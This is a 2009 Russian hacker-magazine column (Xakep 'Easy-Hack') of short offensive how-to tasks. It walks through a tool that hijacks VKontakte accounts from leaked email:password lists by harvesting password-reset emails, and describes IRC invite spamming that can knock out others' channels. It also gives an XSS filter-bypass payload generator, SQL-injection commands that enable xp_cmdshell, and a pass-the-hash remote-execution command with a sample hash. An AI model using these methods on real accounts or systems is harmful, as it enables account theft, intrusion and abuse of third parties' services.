Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #126, ИЮНЬ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (r0id@mail.ru), Андрей Комаров (komarov@itdefence.ru), m0r0 (m0r0@inbox.ru)


Задача: Прочекать список мыльников на наличие аккаунтов «ВКонтакте»

Решение:

Социальные сети с каждым днем набирают все большую популярность. Поэтому я даже не буду спрашивать, зачем тебе могут потребовать акки, например, от www.vkontakte.ru :). Собрать пару сотен подобных учетных записей зачастую просто необходимо, но как быть, если на руках имеется лишь внушительный маил-лист вида мыло:пароль, который необходимо преобразить в список типа логин:пароль от «ВКонтакте»? Решение есть, и сейчас я тебе его представлю. Для осуществелния задуманного мы воспользуемся утилой MailWok, которая предназначена для проверки мыл на наличие акков «ВКонтакте», а также для автоматического восстановления паролей и их сбора с прочеканных ящиков. Прежде чем перейти к активным действиям, рассмотрим возможности софтинки:

  • Чекинг мыл на наличие акков «ВКонтакте»
  • Автоматический запрос на восстановления пароля от аккаунта «ВКонтакте»
  • Автоматический сбор писем с паролями от «ВКонтакте» с прочеканных мыльников
  • Автоматическое удаление собранных писем с восстановлением пароля
  • Поддержка популярных почтовых сервисов (mail.ru, rambler.ru, yandex.ru, etc)

Если ты до сих пор не понял, о чем речь, то имеет смысл ознакомиться с подробным алгоритмом действий по решению поставленной задачи:

  1. Сливаем утилу с нашего ДВД
  2. Выбираем список вида мыло:пароль, где пароль - пасс от мыльника
  3. Чекаем мыльники на валид
  4. Валидные мыльники чекаем на наличие акков «ВКонтакте»
  5. Ждем несколько минут (пока на мыла рассылаются письма с восстановленными пассами от социальной сети)
  6. Теперь жмем на баттон «Проверить мыла» и ждем, пока тулза соберет с ящиков письма, пришедшие от «ВКонтакте»
  7. Сохраняем полученные акки

Теперь о возможных проблемах! Если пасс от «ВКонтакте» не пришел, значит:

  1. Мыло не прочеканно на валид либо невалидное
  2. Мыло не зарегано «ВКонтакте»
  3. Аккаунт «ВКонтакте» зарегистрирован, но не активирован

Как видишь, все довольно просто, но эффективно. При наличии времени, желания и большой базы мыльных акков ты запросто сможешь собрать целую БД с учетками от www.vkontakte.ru. Однако не забывай, что за все свои действия ты отвечаешь сам, а использование чужих аккаунтов категорически запрещено.

P.S. На нашем ДВД ты найдешь не только утилу MailWok, но и сорцы, которые были любезно предоставлены автором продукта.

Задача: Набрать большое количество людей на IRC-канале

Решение:

Если ты фанат IRC, то раскрученный канал с обилием народа, для тебя - дело чести. Вот только собрать внушительное количество людей не так-то просто. Можно, конечно, рекламировать свой IRC-канал всеми возможными способами, однако есть гораздо более эффективный метод, о котором я тебе сейчас расскажу. Суть его заключается в автоматической рассылке инвайтов и пополнении численности каналонаселения за счет включенного автоджойна при получении инвайта. Как ты понимаешь, речь идет об автоматизированной доставке приглашений, поэтому знакомься -
«Invite mirc script by elimS». Именно он поможет нам осуществить задуманное. Итак, начнем с описания функциональности скрипта:

  • Автоматический сбор ников
  • Автоматическая рассылка инвайтов

Обрати внимание:

  • При превышении лимитов инвайтов следует переподключится
  • Не стоит собирать ники со служебных каналов (иначе минуты жизни твоего канала сочтены)
  • При желании дропнуть чужой канал - достаточно проинвайтить ники со служебных каналов :)

Плавно перейдем к установке скрипта:

  1. Сливаем скрипт с нашего ДВД
  2. Открываем mirc-редактор скриптов (aka <Alt+R>)
  3. Создаем новый скрипт (с содержимым нужного нам скрипта «Invite mirc script by elimS»)

Далее необходимо сконфигурировать скрипт. Для этого:

1. Выбираем наш скрипт

2. В параметрах указываем:

  1. Канал - канал, на который будем приглашать
  2. Частота инвайта - цифра в милисекундах (1 секунда = 1к милисекунд). Не забудь, что на каждом сервере существует свой лимит инвайтов по времени, поэтому не жадничай и указывай не менее 2 секунд.
  3. Величина канала - минимальное количество людей на канале, с которого следует собирать ники (на твое усмотрение)
  4. На кого будет действовать скрипт - отмечаем тех, кого собираемся инвайтить (опов не брать :))
  5. Инвайт из указанного ник-листа - использование твоего собственного ник-листа для рассылки инвайтов
  6. Ник-лист исключений - перечисляем ники, которые не будем приглашать на канал

Словом, если ИРЦ - неотъемлемая часть твоей виртуальной жизни, смело сливай скрипт с нашего диска и приступай к раскрутке собственного канала.

Задача: Установить и настроить ICQChat

Решение:

В одном из прошлых выпусков ][ мы выкладывали на нашем диске замечательную софтину ICQChat. Но подробный мануал по настройке тулзы отсутствовал, что вызвало немало вопросов. Что ж, пришло время исправить досадное недоразумение и расставить все по своим местам. Сперва сформулируем план наших действий:

  1. Смена пароля от админки бота
  2. Смена дефолтного порта админки
  3. Включить/Отключить админку

Поехали :).

1. Для того чтобы сменить админский аккаунт, нам необходимо:

  • Зайти в папку с ботом
  • Найти файл jimbot.xml
  • Отредактировать строчку с логином: : <entry key="http.user">admin</entry>
  • Отредактировать строчку с паролем: <entry key="http.pass">admin</entry>

2. Теперь сменим дефолтовый порт админки. Для этого:

  • Заходим в папку с ботом
  • Ищем файл jhttpserver.properties
  • Редактируем строку с указанием порта: port=8888
  • Сохраняем изменения

3. Если ты решил отключить админку, тебе следует:

  • Зайти в папку с ботом
  • Найти файл jimbot.xml
  • Отредактировать строку: key="main.StartHTTP">true<
  • Включение - true, отключение - false

Пора перейти к настройкам чата. Рекомендую обратить внимание на следующие параметры:

  • Число переподключений движка при обрыве: 5
  • Пауза для входящих сообщений: 1000
  • Пауза для исходящих сообщений: 500
  • Ограничение очереди исходящих: 20
  • Пауза перед перезапуском коннекта: 660000
  • Число повторов флуда: 5
  • Период флуда (сек): 10
  • Пауза сообщений для незареганых (сек): 20
  • Задержка очереди чата: 10000
  • И многие другие :)

Вот и все. Надеюсь, проблем с дальнейшей эксплуатацией чата у тебя не возникнет.

Задача: Установить и сконфигурировать 3proxy с поддержкой socks5

Решение:

Соксы нужны всегда и везде :). Одним из лучших сокс-серверов по праву считается 3proxy. Поэтому сейчас мы подробно рассмотрим его установку из портов на базе Фряхи:

# cd /usr/ports/net/3proxy/
# make install clean

Теперь создаем конфиг:

# cp /usr/local/etc/3proxy.cfg.sample /usr/local/etc/3proxy.cfg

При необходимости - пишем логи в созданную диру:

# mkdir /var/log/3proxy

Вообще, рекомендуется пускать все логи по прямому назначению - в /dev/null :). Далее открывай многострадальный конфиг 3proxy.cfg и редактируй по-своему усмотрению (пример правильного конфига ищи на DVD). Все, установка закончена. Запускаем 3proxy на сервере в качестве демона:

# /usr/local/etc/rc.d/3proxy start

Хттп-прокси и сокс-проксик к твоим услугам - пользуйся и не забывай про логи :).

Задача: Обойти самописную систему по защите от XSS, установленную злобным админом

Решение:

Тебе предстоит найти вариант, который заведомо не предусмотрел администратор. Обычно все админы руководствуются общедоступным списком наиболее популярных сценариев с сайта ha.ckers.org/xss.html (Сross Site Scripting Cheat Sheet) или используют какой-либо модуль безопасности. Отчаиваться не стоит – лучше попробовать заюзать так называемые «foreign char sets». Примерные действия следующие:

1. Смотри следующий HTML-код, который позволит сгенерировать 256 вариаций для организации преодоления фильтра:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@page import="org.apache.commons.lang.StringEscapeUtils" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>XSS-генератор</title>
</head>
<body>
<%
for(long i=0; i< 0x100; i++)
{
long lt = 0x3C;
long gt = 0x3E;
long order = i << 8;
long LT = order | lt;
//out.println(Long.toHexString(LT) + " : ");
long GT = order | gt;
//out.println(Long.toHexString(GT) + "<BR>");
String theScript = (char)LT + "script" + (char)GT + "alert(" + i + ");" +(char)LT + "/script" + (char)GT;
out.println( theScript + "<br>");
}

%>
</body>
</html>

2. Попробуй распечатать результаты исполнения скрипта. Возможно, ты увидишь, что не все из символов будут корректно отображаться как на бумаге, так и в браузере. Причина – использование специфических кодировок.

Задача: вести учет работы NMAP на широкомасштабных сетях

Решение:

Существует специальный патч, называемый nmapsql (sourceforge.net/projects/nmapsql). Он добавляет поддержку работы с MySQL для хранения результатов сканирования. Это позволяет осуществлять удобный анализ данных, выполнять сортировки и выборки из той кучи логов, которые могли бы храниться как обычные текстовые файлы на выходе. Патч заточен на использование под Unix/Linux-окружением, поэтому отнесись внимательно к его настройке.

1. Установи патч и открой файл ~/nmapsql.rc для редактирования. В этом файле хранятся все необходимые опции, главные из которых – настройки для подключения к базе.

server=localhost, db=nmaplog, user=nmap, passwd=scanamanga

2. Запусти nmap следующим образом:

nmap -A --mysql --runid 100 192.168.10.1/24

3. В результате, в базе создадутся четыре таблицы:

  • TARGETS - хранит информацию о конкретной исследуемой машине (IP address, hostname и OС)
  • SCANNERS - содержит информацию о хосте, с которого стартовал nmapsql. На случай, если у тебя несколько распределенных сканнеров с подключением к базе
  • RUNLIST - содержит user ID, дату и время вызова Nmap. Соответственно, информация о пользователе читается из /etc/passwd.
  • PORTSTAT - таблица с результатами сканирования и информацией о каждом порте (open/close/filtered)
  • HOSTSSTAT - всевозможного рода статистическая информация, вроде общего количества просканированных хостов, портов и т.д.

Пример выборки из базы:

mysql> select target_ip, d, t, port, protocol,
-> state, runid from portstat
-> order by target_ip, d, t ;

+---------------+------------+----------+--------+----------+--------+-------+
| target_ip | d | t | port | protocol | state | runid |
+---------------+------------+----------+--------+----------+--------+-------+
| 192.168.10.0 | 2003-12-14 | 10:00:37 | 80 | tcp | open | 100 |
| 192.168.10.1 | 2003-12-14 | 10:00:37 | 21 | tcp | open | 100 |
| 192.168.10.1 | 2003-12-14 | 10:00:37 | 23 | tcp | open | 100 |
| 192.168.10.1 | 2003-12-14 | 10:00:37 | 80 | tcp | open | 100 |

Задача: Включить возможность исполнения команд операционной системы и скриптов ActiveX Automation в SQL Server 2005

Решение:

Инъекция в SQL Server таит в себе огромную опасность за счет наличия большого количества системных хранимых процедур. Доступ к ним позволяет взаимодействовать с операционной системой от имени учетной записи SQL-сервера, что в большинстве случаев дает права SYSTEM. Наиболее интересными являются процедура xp_cmdshell, позволяющая исполнять системные команды, а также sp_oacreate/sp_oamethod для работы с OLE-объектами, включая доступ к файловой системе. Для работы с этими процедурами требуется роль sysadmin. Я не раз сталкивался с приложениями, работающими от имени sa, так что это не такая уж и редкость.

Проблема в том, что Microsoft в целях повышения безопасности отключает доступ к этим функциям в конфигурации сервера по умолчанию. Активировать процедуры можно, используя инструментарий SQL Surface Area Configuration. Однако понятие о безопасности у парней из Microsoft всегда вызывало умиление. Обладая привилегиями sysadmin, можно включить доступ к этим процедурам удаленно с использованием средств T-SQL.

1. Активируем расширенные опции конфигурирования:

exec sp_configure 'show advanced options',1

2. Переконфиругируем сервер:

reconfigure

3. Включаем поддержку xp_cmdshell:

exec sp_configure 'xp_cmdshell',1

4. Включаем поддержку OLE Automation:

sp_configure 'Ole Automation Procedures',1

5. Переконфигурируем:

reconfigure

Объединяем запросы, разделяя их симоволом ';', добавляем комментарий и внедряем через инъекцию! Теперь можно наслаждаться практически неограниченным доступом к серверу. Ну а что делать дальше – зависит только от твоей фантазии.

P.S. В SQL Server 2000 xp_cmdshell также можно активировать, используя процедуру sp_addextendedproc.

Задача: Удаленно выполнять команды, зная только имя учетной записи и LM/NTLM хеш пользователя

Решение:

Получив каким-нибудь образом LM/NTLM хеши паролей пользователей, всегда возникает непреодолимое желание как-нибудь их поюзать :). В принципе, можно вооружиться SamInside и некоторым количеством времени – и получить на выходе пароль пользователя (но в случае NT хэша может и не получиться). Однако есть шанс сделать все гораздо быстрее и проще. Дело в том, что у протоколов NTLMv1 и NTLMv2 от M$, которые до сих пор используются повсеместно, имеется одна особенность - для успешной аутентификации знать пароль необязательно. При аутентификации клиент использует величины, вычисленные с использованием хеша учетной записи, а также сессионного ключа, полученного от сервера (чистый хеш не передается во избежание его дальнейшего повторного использования в случае перехвата).

Для решения задачи можешь воспользоваться пропатченной версией winexe - аналогом виндовской psexec для никсов (foofus.net/jmk/passhash.html). Для ее работы требуется библиотека GNU TLS довольно древней версии 1.3. Использовать winexe проще простого - в переменной окружения SMBHASH должен находиться хеш в формате «LM:NTLM», который подцепится автоматом в процессе аутентификации. Если учетка находится в домене, между именем домена и именем учетки нужно поставить 2 (!) обратных слеша.

$ export SMBHASH="f0d412bd764ffe81aad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634"
$ ./winexe -U Admin \\192.168.0.1 "ipconfig"

В Винде для этих же целей можешь использовать PSH Toolkit и msvctl. Однако PSH Toolkit у меня запускаться отказалась - ей нужна какая-то особенная версия библиотеки lsasrv.dll, которую мне достать не удалось, а msvctl наотрез отказалась аутентифицироваться в домене.

Содержание